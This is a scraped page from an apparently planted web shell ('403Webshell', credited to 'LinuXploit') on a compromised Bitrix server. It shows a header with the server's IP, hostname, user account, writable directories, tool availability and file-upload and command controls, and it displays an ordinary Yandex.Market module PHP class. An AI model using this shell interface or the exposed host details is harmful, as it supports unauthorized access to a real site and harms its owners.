403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/ui/iblock/categoryform/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/ui/iblock/categoryform/offer.php
<?php
namespace Yandex\Market\Ui\Iblock\CategoryForm;

use Bitrix\Main;
use Yandex\Market\Export\Entity;
use Yandex\Market\Ui\Iblock\CategoryProvider;
use Yandex\Market\Ui\Iblock\CategoryValue;

class Offer implements ElementForm
{
	private $property;
	private $offerId;
	private $skuPropertyId;
	private $productId;

	public function __construct(array $property, $offerId, $skuPropertyId, $productId = null)
	{
		$this->property = $property;
		$this->offerId = (int)$offerId;
		$this->skuPropertyId = $skuPropertyId;
		$this->productId = $productId;
	}

	public function type()
	{
		return Factory::OFFER;
	}

	public function elementId()
	{
		return $this->offerId;
	}

	public function payload()
	{
		$result = [
			'offerId' => $this->offerId,
			'skuPropertyId' => $this->skuPropertyId,
		];

		if ($this->productId !== null)
		{
			$result['productId'] = $this->productId;
		}

		return $result;
	}

	public function fields()
	{
		return [
			'sku' => [ "div[id^='layout_PROPx{$this->skuPropertyId}xx']", 'input[type="hidden"]', 'onLookupInputChange' ],
		];
	}

	public function theme()
	{
		return CategoryProvider::THEME_FORM;
	}

	public function parentValue(array $fields = null)
	{
		$productId = isset($fields['sku']) ? (int)$fields['sku'] : $this->productId;

		if ($productId !== null)
		{
			return new CategoryValue\ElementValue($this->skuIblockId(), (int)$productId);
		}

		return (new CategoryValue\OfferValue($this->property['IBLOCK_ID'], $this->offerId))->parent();
	}

	private function skuIblockId()
	{
		$result = Entity\Iblock\Provider::getCatalogIblockId($this->property['IBLOCK_ID']);

		if ($result === null)
		{
			throw new Main\SystemException("cant find sku iblock for {$this->property['IBLOCK_ID']}");
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit